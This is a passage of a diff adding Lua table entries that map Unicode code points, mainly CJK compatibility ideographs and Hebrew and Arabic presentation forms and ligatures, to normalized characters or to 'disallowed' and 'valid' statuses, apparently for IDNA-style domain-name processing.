+ [0xFAC8] = 0x9756, -- CJK COMPATIBILITY IDEOGRAPH-FAC8
+ [0xFAC9] = 0x97DB, -- CJK COMPATIBILITY IDEOGRAPH-FAC9
+ [0xFACA] = 0x97FF, -- CJK COMPATIBILITY IDEOGRAPH-FACA
+ [0xFACB] = 0x980B, -- CJK COMPATIBILITY IDEOGRAPH-FACB
+ [0xFACC] = 0x983B, -- CJK COMPATIBILITY IDEOGRAPH-FACC
+ [0xFACD] = 0x9B12, -- CJK COMPATIBILITY IDEOGRAPH-FACD
+ [0xFACE] = 0x9F9C, -- CJK COMPATIBILITY IDEOGRAPH-FACE
+ [0xFACF] = 0x2284A, -- CJK COMPATIBILITY IDEOGRAPH-FACF
+ [0xFAD0] = 0x22844, -- CJK COMPATIBILITY IDEOGRAPH-FAD0
+ [0xFAD1] = 0x233D5, -- CJK COMPATIBILITY IDEOGRAPH-FAD1
+ [0xFAD2] = 0x3B9D, -- CJK COMPATIBILITY IDEOGRAPH-FAD2
+ [0xFAD3] = 0x4018, -- CJK COMPATIBILITY IDEOGRAPH-FAD3
+ [0xFAD4] = 0x4039, -- CJK COMPATIBILITY IDEOGRAPH-FAD4
+ [0xFAD5] = 0x25249, -- CJK COMPATIBILITY IDEOGRAPH-FAD5
+ [0xFAD6] = 0x25CD0, -- CJK COMPATIBILITY IDEOGRAPH-FAD6
+ [0xFAD7] = 0x27ED3, -- CJK COMPATIBILITY IDEOGRAPH-FAD7
+ [0xFAD8] = 0x9F43, -- CJK COMPATIBILITY IDEOGRAPH-FAD8
+ [0xFAD9] = 0x9F8E, -- CJK COMPATIBILITY IDEOGRAPH-FAD9
+ -- NA <reserved-FA6E>..<reserved-FA6F>
+ [0xFA6E] = {status="disallowed"},
+ [0xFA6F] = {status="disallowed"},
+ [0xFB00] = {0x0066, 0x0066}, -- LATIN SMALL LIGATURE FF
+ [0xFB01] = {0x0066, 0x0069}, -- LATIN SMALL LIGATURE FI
+ [0xFB02] = {0x0066, 0x006C}, -- LATIN SMALL LIGATURE FL
+ [0xFB03] = {0x0066, 0x0066, 0x0069}, -- LATIN SMALL LIGATURE FFI
+ [0xFB04] = {0x0066, 0x0066, 0x006C}, -- LATIN SMALL LIGATURE FFL
+ -- LATIN SMALL LIGATURE LONG S T..LATIN SMALL LIGATURE ST
+ [0xFB05] = {0x0073, 0x0074},
+ [0xFB06] = {0x0073, 0x0074},
+ [0xFB13] = {0x0574, 0x0576}, -- ARMENIAN SMALL LIGATURE MEN NOW
+ [0xFB14] = {0x0574, 0x0565}, -- ARMENIAN SMALL LIGATURE MEN ECH
+ [0xFB15] = {0x0574, 0x056B}, -- ARMENIAN SMALL LIGATURE MEN INI
+ [0xFB16] = {0x057E, 0x0576}, -- ARMENIAN SMALL LIGATURE VEW NOW
+ [0xFB17] = {0x0574, 0x056D}, -- ARMENIAN SMALL LIGATURE MEN XEH
+ [0xFB1D] = {0x05D9, 0x05B4}, -- HEBREW LETTER YOD WITH HIRIQ
+ [0xFB1E] = {status="valid"}, -- HEBREW POINT JUDEO-SPANISH VARIKA
+ [0xFB1F] = {0x05F2, 0x05B7}, -- HEBREW LIGATURE YIDDISH YOD YOD PATAH
+ [0xFB20] = 0x05E2, -- HEBREW LETTER ALTERNATIVE AYIN
+ [0xFB21] = 0x05D0, -- HEBREW LETTER WIDE ALEF
+ [0xFB22] = 0x05D3, -- HEBREW LETTER WIDE DALET
+ [0xFB23] = 0x05D4, -- HEBREW LETTER WIDE HE
+ [0xFB24] = 0x05DB, -- HEBREW LETTER WIDE KAF
+ [0xFB25] = 0x05DC, -- HEBREW LETTER WIDE LAMED
+ [0xFB26] = 0x05DD, -- HEBREW LETTER WIDE FINAL MEM
+ [0xFB27] = 0x05E8, -- HEBREW LETTER WIDE RESH
+ [0xFB28] = 0x05EA, -- HEBREW LETTER WIDE TAV
+ [0xFB29] = {status="disallowed"}, -- HEBREW LETTER ALTERNATIVE PLUS SIGN
+ [0xFB2A] = {0x05E9, 0x05C1}, -- HEBREW LETTER SHIN WITH SHIN DOT
+ [0xFB2B] = {0x05E9, 0x05C2}, -- HEBREW LETTER SHIN WITH SIN DOT
+ [0xFB2C] = {0x05E9, 0x05BC, 0x05C1}, -- HEBREW LETTER SHIN WITH DAGESH AND SHIN DOT
+ [0xFB2D] = {0x05E9, 0x05BC, 0x05C2}, -- HEBREW LETTER SHIN WITH DAGESH AND SIN DOT
+ [0xFB2E] = {0x05D0, 0x05B7}, -- HEBREW LETTER ALEF WITH PATAH
+ [0xFB2F] = {0x05D0, 0x05B8}, -- HEBREW LETTER ALEF WITH QAMATS
+ [0xFB30] = {0x05D0, 0x05BC}, -- HEBREW LETTER ALEF WITH MAPIQ
+ [0xFB31] = {0x05D1, 0x05BC}, -- HEBREW LETTER BET WITH DAGESH
+ [0xFB32] = {0x05D2, 0x05BC}, -- HEBREW LETTER GIMEL WITH DAGESH
+ [0xFB33] = {0x05D3, 0x05BC}, -- HEBREW LETTER DALET WITH DAGESH
+ [0xFB34] = {0x05D4, 0x05BC}, -- HEBREW LETTER HE WITH MAPIQ
+ [0xFB35] = {0x05D5, 0x05BC}, -- HEBREW LETTER VAV WITH DAGESH
+ [0xFB36] = {0x05D6, 0x05BC}, -- HEBREW LETTER ZAYIN WITH DAGESH
+ [0xFB37] = {status="disallowed"}, -- NA <reserved-FB37>
+ [0xFB38] = {0x05D8, 0x05BC}, -- HEBREW LETTER TET WITH DAGESH
+ [0xFB39] = {0x05D9, 0x05BC}, -- HEBREW LETTER YOD WITH DAGESH
+ [0xFB3A] = {0x05DA, 0x05BC}, -- HEBREW LETTER FINAL KAF WITH DAGESH
+ [0xFB3B] = {0x05DB, 0x05BC}, -- HEBREW LETTER KAF WITH DAGESH
+ [0xFB3C] = {0x05DC, 0x05BC}, -- HEBREW LETTER LAMED WITH DAGESH
+ [0xFB3D] = {status="disallowed"}, -- NA <reserved-FB3D>
+ [0xFB3E] = {0x05DE, 0x05BC}, -- HEBREW LETTER MEM WITH DAGESH
+ [0xFB3F] = {status="disallowed"}, -- NA <reserved-FB3F>
+ [0xFB40] = {0x05E0, 0x05BC}, -- HEBREW LETTER NUN WITH DAGESH
+ [0xFB41] = {0x05E1, 0x05BC}, -- HEBREW LETTER SAMEKH WITH DAGESH
+ [0xFB42] = {status="disallowed"}, -- NA <reserved-FB42>
+ [0xFB43] = {0x05E3, 0x05BC}, -- HEBREW LETTER FINAL PE WITH DAGESH
+ [0xFB44] = {0x05E4, 0x05BC}, -- HEBREW LETTER PE WITH DAGESH
+ [0xFB45] = {status="disallowed"}, -- NA <reserved-FB45>
+ [0xFB46] = {0x05E6, 0x05BC}, -- HEBREW LETTER TSADI WITH DAGESH
+ [0xFB47] = {0x05E7, 0x05BC}, -- HEBREW LETTER QOF WITH DAGESH
+ [0xFB48] = {0x05E8, 0x05BC}, -- HEBREW LETTER RESH WITH DAGESH
+ [0xFB49] = {0x05E9, 0x05BC}, -- HEBREW LETTER SHIN WITH DAGESH
+ [0xFB4A] = {0x05EA, 0x05BC}, -- HEBREW LETTER TAV WITH DAGESH
+ [0xFB4B] = {0x05D5, 0x05B9}, -- HEBREW LETTER VAV WITH HOLAM
+ [0xFB4C] = {0x05D1, 0x05BF}, -- HEBREW LETTER BET WITH RAFE
+ [0xFB4D] = {0x05DB, 0x05BF}, -- HEBREW LETTER KAF WITH RAFE
+ [0xFB4E] = {0x05E4, 0x05BF}, -- HEBREW LETTER PE WITH RAFE
+ [0xFB4F] = {0x05D0, 0x05DC}, -- HEBREW LIGATURE ALEF LAMED
+ -- NA <reserved-FB18>..<reserved-FB1C>
+ [0xFB18] = {status="disallowed"},
+ [0xFB19] = {status="disallowed"},
+ [0xFB1A] = {status="disallowed"},
+ [0xFB1B] = {status="disallowed"},
+ [0xFB1C] = {status="disallowed"},
+ -- ARABIC LETTER ALEF WASLA ISOLATED FORM..ARABIC LETTER ALEF WASLA FINAL FORM
+ [0xFB50] = 0x0671,
+ [0xFB51] = 0x0671,
+ -- ARABIC LETTER BEEH ISOLATED FORM..ARABIC LETTER BEEH MEDIAL FORM
+ [0xFB52] = 0x067B,
+ [0xFB53] = 0x067B,
+ [0xFB54] = 0x067B,
+ [0xFB55] = 0x067B,
+ -- ARABIC LETTER PEH ISOLATED FORM..ARABIC LETTER PEH MEDIAL FORM
+ [0xFB56] = 0x067E,
+ [0xFB57] = 0x067E,
+ [0xFB58] = 0x067E,
+ [0xFB59] = 0x067E,
+ -- ARABIC LETTER BEHEH ISOLATED FORM..ARABIC LETTER BEHEH MEDIAL FORM
+ [0xFB5A] = 0x0680,
+ [0xFB5B] = 0x0680,
+ [0xFB5C] = 0x0680,
+ [0xFB5D] = 0x0680,
+ -- ARABIC LETTER TTEHEH ISOLATED FORM..ARABIC LETTER TTEHEH MEDIAL FORM
+ [0xFB5E] = 0x067A,
+ [0xFB5F] = 0x067A,
+ [0xFB60] = 0x067A,
+ [0xFB61] = 0x067A,
+ -- ARABIC LETTER TEHEH ISOLATED FORM..ARABIC LETTER TEHEH MEDIAL FORM
+ [0xFB62] = 0x067F,
+ [0xFB63] = 0x067F,
+ [0xFB64] = 0x067F,
+ [0xFB65] = 0x067F,
+ -- ARABIC LETTER TTEH ISOLATED FORM..ARABIC LETTER TTEH MEDIAL FORM
+ [0xFB66] = 0x0679,
+ [0xFB67] = 0x0679,
+ [0xFB68] = 0x0679,
+ [0xFB69] = 0x0679,
+ -- ARABIC LETTER VEH ISOLATED FORM..ARABIC LETTER VEH MEDIAL FORM
+ [0xFB6A] = 0x06A4,
+ [0xFB6B] = 0x06A4,
+ [0xFB6C] = 0x06A4,
+ [0xFB6D] = 0x06A4,
+ -- ARABIC LETTER PEHEH ISOLATED FORM..ARABIC LETTER PEHEH MEDIAL FORM
+ [0xFB6E] = 0x06A6,
+ [0xFB6F] = 0x06A6,
+ [0xFB70] = 0x06A6,
+ [0xFB71] = 0x06A6,
+ -- ARABIC LETTER DYEH ISOLATED FORM..ARABIC LETTER DYEH MEDIAL FORM
+ [0xFB72] = 0x0684,
+ [0xFB73] = 0x0684,
+ [0xFB74] = 0x0684,
+ [0xFB75] = 0x0684,
+ -- ARABIC LETTER NYEH ISOLATED FORM..ARABIC LETTER NYEH MEDIAL FORM
+ [0xFB76] = 0x0683,
+ [0xFB77] = 0x0683,
+ [0xFB78] = 0x0683,
+ [0xFB79] = 0x0683,
+ -- ARABIC LETTER TCHEH ISOLATED FORM..ARABIC LETTER TCHEH MEDIAL FORM
+ [0xFB7A] = 0x0686,
+ [0xFB7B] = 0x0686,
+ [0xFB7C] = 0x0686,
+ [0xFB7D] = 0x0686,
+ -- ARABIC LETTER TCHEHEH ISOLATED FORM..ARABIC LETTER TCHEHEH MEDIAL FORM
+ [0xFB7E] = 0x0687,
+ [0xFB7F] = 0x0687,
+ [0xFB80] = 0x0687,
+ [0xFB81] = 0x0687,
+ -- ARABIC LETTER DDAHAL ISOLATED FORM..ARABIC LETTER DDAHAL FINAL FORM
+ [0xFB82] = 0x068D,
+ [0xFB83] = 0x068D,
+ -- ARABIC LETTER DAHAL ISOLATED FORM..ARABIC LETTER DAHAL FINAL FORM
+ [0xFB84] = 0x068C,
+ [0xFB85] = 0x068C,
+ -- ARABIC LETTER DUL ISOLATED FORM..ARABIC LETTER DUL FINAL FORM
+ [0xFB86] = 0x068E,
+ [0xFB87] = 0x068E,
+ -- ARABIC LETTER DDAL ISOLATED FORM..ARABIC LETTER DDAL FINAL FORM
+ [0xFB88] = 0x0688,
+ [0xFB89] = 0x0688,
+ -- ARABIC LETTER JEH ISOLATED FORM..ARABIC LETTER JEH FINAL FORM
+ [0xFB8A] = 0x0698,
+ [0xFB8B] = 0x0698,
+ -- ARABIC LETTER RREH ISOLATED FORM..ARABIC LETTER RREH FINAL FORM
+ [0xFB8C] = 0x0691,
+ [0xFB8D] = 0x0691,
+ -- ARABIC LETTER KEHEH ISOLATED FORM..ARABIC LETTER KEHEH MEDIAL FORM
+ [0xFB8E] = 0x06A9,
+ [0xFB8F] = 0x06A9,
+ [0xFB90] = 0x06A9,
+ [0xFB91] = 0x06A9,
+ -- ARABIC LETTER GAF ISOLATED FORM..ARABIC LETTER GAF MEDIAL FORM
+ [0xFB92] = 0x06AF,
+ [0xFB93] = 0x06AF,
+ [0xFB94] = 0x06AF,
+ [0xFB95] = 0x06AF,
+ -- ARABIC LETTER GUEH ISOLATED FORM..ARABIC LETTER GUEH MEDIAL FORM
+ [0xFB96] = 0x06B3,
+ [0xFB97] = 0x06B3,
+ [0xFB98] = 0x06B3,
+ [0xFB99] = 0x06B3,
+ -- ARABIC LETTER NGOEH ISOLATED FORM..ARABIC LETTER NGOEH MEDIAL FORM
+ [0xFB9A] = 0x06B1,
+ [0xFB9B] = 0x06B1,
+ [0xFB9C] = 0x06B1,
+ [0xFB9D] = 0x06B1,
+ -- ARABIC LETTER NOON GHUNNA ISOLATED FORM..ARABIC LETTER NOON GHUNNA FINAL FORM
+ [0xFB9E] = 0x06BA,
+ [0xFB9F] = 0x06BA,
+ -- ARABIC LETTER RNOON ISOLATED FORM..ARABIC LETTER RNOON MEDIAL FORM
+ [0xFBA0] = 0x06BB,
+ [0xFBA1] = 0x06BB,
+ [0xFBA2] = 0x06BB,
+ [0xFBA3] = 0x06BB,
+ -- ARABIC LETTER HEH WITH YEH ABOVE ISOLATED FORM..ARABIC LETTER HEH WITH YEH ABOVE FINAL FORM
+ [0xFBA4] = 0x06C0,
+ [0xFBA5] = 0x06C0,
+ -- ARABIC LETTER HEH GOAL ISOLATED FORM..ARABIC LETTER HEH GOAL MEDIAL FORM
+ [0xFBA6] = 0x06C1,
+ [0xFBA7] = 0x06C1,
+ [0xFBA8] = 0x06C1,
+ [0xFBA9] = 0x06C1,
+ -- ARABIC LETTER HEH DOACHASHMEE ISOLATED FORM..ARABIC LETTER HEH DOACHASHMEE MEDIAL FORM
+ [0xFBAA] = 0x06BE,
+ [0xFBAB] = 0x06BE,
+ [0xFBAC] = 0x06BE,
+ [0xFBAD] = 0x06BE,
+ -- ARABIC LETTER YEH BARREE ISOLATED FORM..ARABIC LETTER YEH BARREE FINAL FORM
+ [0xFBAE] = 0x06D2,
+ [0xFBAF] = 0x06D2,
+ -- ARABIC LETTER YEH BARREE WITH HAMZA ABOVE ISOLATED FORM..ARABIC LETTER YEH BARREE WITH HAMZA ABOVE FINAL FORM
+ [0xFBB0] = 0x06D3,
+ [0xFBB1] = 0x06D3,
+ -- ARABIC LETTER NG ISOLATED FORM..ARABIC LETTER NG MEDIAL FORM
+ [0xFBD3] = 0x06AD,
+ [0xFBD4] = 0x06AD,
+ [0xFBD5] = 0x06AD,
+ [0xFBD6] = 0x06AD,
+ -- ARABIC LETTER U ISOLATED FORM..ARABIC LETTER U FINAL FORM
+ [0xFBD7] = 0x06C7,
+ [0xFBD8] = 0x06C7,
+ -- ARABIC LETTER OE ISOLATED FORM..ARABIC LETTER OE FINAL FORM
+ [0xFBD9] = 0x06C6,
+ [0xFBDA] = 0x06C6,
+ [0xFBDD] = {0x06C7, 0x0674}, -- ARABIC LETTER U WITH HAMZA ABOVE ISOLATED FORM
+ -- ARABIC LETTER YU ISOLATED FORM..ARABIC LETTER YU FINAL FORM
+ [0xFBDB] = 0x06C8,
+ [0xFBDC] = 0x06C8,
+ -- ARABIC LETTER VE ISOLATED FORM..ARABIC LETTER VE FINAL FORM
+ [0xFBDE] = 0x06CB,
+ [0xFBDF] = 0x06CB,
+ -- ARABIC LETTER KIRGHIZ OE ISOLATED FORM..ARABIC LETTER KIRGHIZ OE FINAL FORM
+ [0xFBE0] = 0x06C5,
+ [0xFBE1] = 0x06C5,
+ -- ARABIC LETTER KIRGHIZ YU ISOLATED FORM..ARABIC LETTER KIRGHIZ YU FINAL FORM
+ [0xFBE2] = 0x06C9,
+ [0xFBE3] = 0x06C9,
+ -- ARABIC LETTER E ISOLATED FORM..ARABIC LETTER E MEDIAL FORM
+ [0xFBE4] = 0x06D0,
+ [0xFBE5] = 0x06D0,
+ [0xFBE6] = 0x06D0,
+ [0xFBE7] = 0x06D0,
+ -- ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA INITIAL FORM..ARABIC LETTER UIGHUR KAZAKH KIRGHIZ ALEF MAKSURA MEDIAL FORM
+ [0xFBE8] = 0x0649,
+ [0xFBE9] = 0x0649,
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF FINAL FORM
+ [0xFBEA] = {0x0626, 0x0627},
+ [0xFBEB] = {0x0626, 0x0627},
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH AE FINAL FORM
+ [0xFBEC] = {0x0626, 0x06D5},
+ [0xFBED] = {0x0626, 0x06D5},
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH WAW FINAL FORM
+ [0xFBEE] = {0x0626, 0x0648},
+ [0xFBEF] = {0x0626, 0x0648},
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH U FINAL FORM
+ [0xFBF0] = {0x0626, 0x06C7},
+ [0xFBF1] = {0x0626, 0x06C7},
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH OE FINAL FORM
+ [0xFBF2] = {0x0626, 0x06C6},
+ [0xFBF3] = {0x0626, 0x06C6},
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YU FINAL FORM
+ [0xFBF4] = {0x0626, 0x06C8},
+ [0xFBF5] = {0x0626, 0x06C8},
+ -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E ISOLATED FORM..ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH E INITIAL FORM
+ [0xFBF6] = {0x0626, 0x06D0},
+ [0xFBF7] = {0x0626, 0x06D0},
+ [0xFBF8] = {0x0626, 0x06D0},
+ -- ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM..ARABIC LIGATURE UIGHUR KIRGHIZ YEH WITH HAMZA ABOVE WITH ALEF MAKSURA INITIAL FORM
+ [0xFBF9] = {0x0626, 0x0649},
+ [0xFBFA] = {0x0626, 0x0649},
+ [0xFBFB] = {0x0626, 0x0649},
+ [0xFC00] = {0x0626, 0x062C}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH JEEM ISOLATED FORM
+ [0xFC01] = {0x0626, 0x062D}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH HAH ISOLATED FORM
+ [0xFC02] = {0x0626, 0x0645}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH MEEM ISOLATED FORM
+ [0xFC03] = {0x0626, 0x0649}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC04] = {0x0626, 0x064A}, -- ARABIC LIGATURE YEH WITH HAMZA ABOVE WITH YEH ISOLATED FORM
+ [0xFC05] = {0x0628, 0x062C}, -- ARABIC LIGATURE BEH WITH JEEM ISOLATED FORM
+ [0xFC06] = {0x0628, 0x062D}, -- ARABIC LIGATURE BEH WITH HAH ISOLATED FORM
+ [0xFC07] = {0x0628, 0x062E}, -- ARABIC LIGATURE BEH WITH KHAH ISOLATED FORM
+ [0xFC08] = {0x0628, 0x0645}, -- ARABIC LIGATURE BEH WITH MEEM ISOLATED FORM
+ [0xFC09] = {0x0628, 0x0649}, -- ARABIC LIGATURE BEH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC0A] = {0x0628, 0x064A}, -- ARABIC LIGATURE BEH WITH YEH ISOLATED FORM
+ [0xFC0B] = {0x062A, 0x062C}, -- ARABIC LIGATURE TEH WITH JEEM ISOLATED FORM
+ [0xFC0C] = {0x062A, 0x062D}, -- ARABIC LIGATURE TEH WITH HAH ISOLATED FORM
+ [0xFC0D] = {0x062A, 0x062E}, -- ARABIC LIGATURE TEH WITH KHAH ISOLATED FORM
+ [0xFC0E] = {0x062A, 0x0645}, -- ARABIC LIGATURE TEH WITH MEEM ISOLATED FORM
+ [0xFC0F] = {0x062A, 0x0649}, -- ARABIC LIGATURE TEH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC10] = {0x062A, 0x064A}, -- ARABIC LIGATURE TEH WITH YEH ISOLATED FORM
+ [0xFC11] = {0x062B, 0x062C}, -- ARABIC LIGATURE THEH WITH JEEM ISOLATED FORM
+ [0xFC12] = {0x062B, 0x0645}, -- ARABIC LIGATURE THEH WITH MEEM ISOLATED FORM
+ [0xFC13] = {0x062B, 0x0649}, -- ARABIC LIGATURE THEH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC14] = {0x062B, 0x064A}, -- ARABIC LIGATURE THEH WITH YEH ISOLATED FORM
+ [0xFC15] = {0x062C, 0x062D}, -- ARABIC LIGATURE JEEM WITH HAH ISOLATED FORM
+ [0xFC16] = {0x062C, 0x0645}, -- ARABIC LIGATURE JEEM WITH MEEM ISOLATED FORM
+ [0xFC17] = {0x062D, 0x062C}, -- ARABIC LIGATURE HAH WITH JEEM ISOLATED FORM
+ [0xFC18] = {0x062D, 0x0645}, -- ARABIC LIGATURE HAH WITH MEEM ISOLATED FORM
+ [0xFC19] = {0x062E, 0x062C}, -- ARABIC LIGATURE KHAH WITH JEEM ISOLATED FORM
+ [0xFC1A] = {0x062E, 0x062D}, -- ARABIC LIGATURE KHAH WITH HAH ISOLATED FORM
+ [0xFC1B] = {0x062E, 0x0645}, -- ARABIC LIGATURE KHAH WITH MEEM ISOLATED FORM
+ [0xFC1C] = {0x0633, 0x062C}, -- ARABIC LIGATURE SEEN WITH JEEM ISOLATED FORM
+ [0xFC1D] = {0x0633, 0x062D}, -- ARABIC LIGATURE SEEN WITH HAH ISOLATED FORM
+ [0xFC1E] = {0x0633, 0x062E}, -- ARABIC LIGATURE SEEN WITH KHAH ISOLATED FORM
+ [0xFC1F] = {0x0633, 0x0645}, -- ARABIC LIGATURE SEEN WITH MEEM ISOLATED FORM
+ [0xFC20] = {0x0635, 0x062D}, -- ARABIC LIGATURE SAD WITH HAH ISOLATED FORM
+ [0xFC21] = {0x0635, 0x0645}, -- ARABIC LIGATURE SAD WITH MEEM ISOLATED FORM
+ [0xFC22] = {0x0636, 0x062C}, -- ARABIC LIGATURE DAD WITH JEEM ISOLATED FORM
+ [0xFC23] = {0x0636, 0x062D}, -- ARABIC LIGATURE DAD WITH HAH ISOLATED FORM
+ [0xFC24] = {0x0636, 0x062E}, -- ARABIC LIGATURE DAD WITH KHAH ISOLATED FORM
+ [0xFC25] = {0x0636, 0x0645}, -- ARABIC LIGATURE DAD WITH MEEM ISOLATED FORM
+ [0xFC26] = {0x0637, 0x062D}, -- ARABIC LIGATURE TAH WITH HAH ISOLATED FORM
+ [0xFC27] = {0x0637, 0x0645}, -- ARABIC LIGATURE TAH WITH MEEM ISOLATED FORM
+ [0xFC28] = {0x0638, 0x0645}, -- ARABIC LIGATURE ZAH WITH MEEM ISOLATED FORM
+ [0xFC29] = {0x0639, 0x062C}, -- ARABIC LIGATURE AIN WITH JEEM ISOLATED FORM
+ [0xFC2A] = {0x0639, 0x0645}, -- ARABIC LIGATURE AIN WITH MEEM ISOLATED FORM
+ [0xFC2B] = {0x063A, 0x062C}, -- ARABIC LIGATURE GHAIN WITH JEEM ISOLATED FORM
+ [0xFC2C] = {0x063A, 0x0645}, -- ARABIC LIGATURE GHAIN WITH MEEM ISOLATED FORM
+ [0xFC2D] = {0x0641, 0x062C}, -- ARABIC LIGATURE FEH WITH JEEM ISOLATED FORM
+ [0xFC2E] = {0x0641, 0x062D}, -- ARABIC LIGATURE FEH WITH HAH ISOLATED FORM
+ [0xFC2F] = {0x0641, 0x062E}, -- ARABIC LIGATURE FEH WITH KHAH ISOLATED FORM
+ [0xFC30] = {0x0641, 0x0645}, -- ARABIC LIGATURE FEH WITH MEEM ISOLATED FORM
+ [0xFC31] = {0x0641, 0x0649}, -- ARABIC LIGATURE FEH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC32] = {0x0641, 0x064A}, -- ARABIC LIGATURE FEH WITH YEH ISOLATED FORM
+ [0xFC33] = {0x0642, 0x062D}, -- ARABIC LIGATURE QAF WITH HAH ISOLATED FORM
+ [0xFC34] = {0x0642, 0x0645}, -- ARABIC LIGATURE QAF WITH MEEM ISOLATED FORM
+ [0xFC35] = {0x0642, 0x0649}, -- ARABIC LIGATURE QAF WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC36] = {0x0642, 0x064A}, -- ARABIC LIGATURE QAF WITH YEH ISOLATED FORM
+ [0xFC37] = {0x0643, 0x0627}, -- ARABIC LIGATURE KAF WITH ALEF ISOLATED FORM
+ [0xFC38] = {0x0643, 0x062C}, -- ARABIC LIGATURE KAF WITH JEEM ISOLATED FORM
+ [0xFC39] = {0x0643, 0x062D}, -- ARABIC LIGATURE KAF WITH HAH ISOLATED FORM
+ [0xFC3A] = {0x0643, 0x062E}, -- ARABIC LIGATURE KAF WITH KHAH ISOLATED FORM
+ [0xFC3B] = {0x0643, 0x0644}, -- ARABIC LIGATURE KAF WITH LAM ISOLATED FORM
+ [0xFC3C] = {0x0643, 0x0645}, -- ARABIC LIGATURE KAF WITH MEEM ISOLATED FORM
+ [0xFC3D] = {0x0643, 0x0649}, -- ARABIC LIGATURE KAF WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC3E] = {0x0643, 0x064A}, -- ARABIC LIGATURE KAF WITH YEH ISOLATED FORM
+ [0xFC3F] = {0x0644, 0x062C}, -- ARABIC LIGATURE LAM WITH JEEM ISOLATED FORM
+ [0xFC40] = {0x0644, 0x062D}, -- ARABIC LIGATURE LAM WITH HAH ISOLATED FORM
+ [0xFC41] = {0x0644, 0x062E}, -- ARABIC LIGATURE LAM WITH KHAH ISOLATED FORM
+ [0xFC42] = {0x0644, 0x0645}, -- ARABIC LIGATURE LAM WITH MEEM ISOLATED FORM
+ [0xFC43] = {0x0644, 0x0649}, -- ARABIC LIGATURE LAM WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC44] = {0x0644, 0x064A}, -- ARABIC LIGATURE LAM WITH YEH ISOLATED FORM
+ [0xFC45] = {0x0645, 0x062C}, -- ARABIC LIGATURE MEEM WITH JEEM ISOLATED FORM
+ [0xFC46] = {0x0645, 0x062D}, -- ARABIC LIGATURE MEEM WITH HAH ISOLATED FORM
+ [0xFC47] = {0x0645, 0x062E}, -- ARABIC LIGATURE MEEM WITH KHAH ISOLATED FORM
+ [0xFC48] = {0x0645, 0x0645}, -- ARABIC LIGATURE MEEM WITH MEEM ISOLATED FORM
+ [0xFC49] = {0x0645, 0x0649}, -- ARABIC LIGATURE MEEM WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC4A] = {0x0645, 0x064A}, -- ARABIC LIGATURE MEEM WITH YEH ISOLATED FORM
+ [0xFC4B] = {0x0646, 0x062C}, -- ARABIC LIGATURE NOON WITH JEEM ISOLATED FORM
+ [0xFC4C] = {0x0646, 0x062D}, -- ARABIC LIGATURE NOON WITH HAH ISOLATED FORM
+ [0xFC4D] = {0x0646, 0x062E}, -- ARABIC LIGATURE NOON WITH KHAH ISOLATED FORM
+ [0xFC4E] = {0x0646, 0x0645}, -- ARABIC LIGATURE NOON WITH MEEM ISOLATED FORM
+ [0xFC4F] = {0x0646, 0x0649}, -- ARABIC LIGATURE NOON WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC50] = {0x0646, 0x064A}, -- ARABIC LIGATURE NOON WITH YEH ISOLATED FORM
+ [0xFC51] = {0x0647, 0x062C}, -- ARABIC LIGATURE HEH WITH JEEM ISOLATED FORM
+ [0xFC52] = {0x0647, 0x0645}, -- ARABIC LIGATURE HEH WITH MEEM ISOLATED FORM
+ [0xFC53] = {0x0647, 0x0649}, -- ARABIC LIGATURE HEH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC54] = {0x0647, 0x064A}, -- ARABIC LIGATURE HEH WITH YEH ISOLATED FORM
+ [0xFC55] = {0x064A, 0x062C}, -- ARABIC LIGATURE YEH WITH JEEM ISOLATED FORM
+ [0xFC56] = {0x064A, 0x062D}, -- ARABIC LIGATURE YEH WITH HAH ISOLATED FORM
+ [0xFC57] = {0x064A, 0x062E}, -- ARABIC LIGATURE YEH WITH KHAH ISOLATED FORM
+ [0xFC58] = {0x064A, 0x0645}, -- ARABIC LIGATURE YEH WITH MEEM ISOLATED FORM
+ [0xFC59] = {0x064A, 0x0649}, -- ARABIC LIGATURE YEH WITH ALEF MAKSURA ISOLATED FORM
+ [0xFC5A] = {0x064A, 0x064A}, -- ARABIC LIGATURE YEH WITH YEH ISOLATED FORM
+ [0xFC5B] = {0x0630, 0x0670}, -- ARABIC LIGATURE THAL WITH SUPERSCRIPT ALEF ISOLATED FORM
+ [0xFC5C] = {0x0631, 0x0670}, -- ARABIC LIGATURE REH WITH SUPERSCRIPT ALEF ISOLATED FORM
+ [0xFC5D] = {0x0649, 0x0670}, -- ARABIC LIGATURE ALEF MAKSURA WITH SUPERSCRIPT ALEF ISOLATED FORM
+ [0xFC5E] = {status="disallowed"}, -- ARABIC LIGATURE SHADDA WITH DAMMATAN ISOLATED FORM
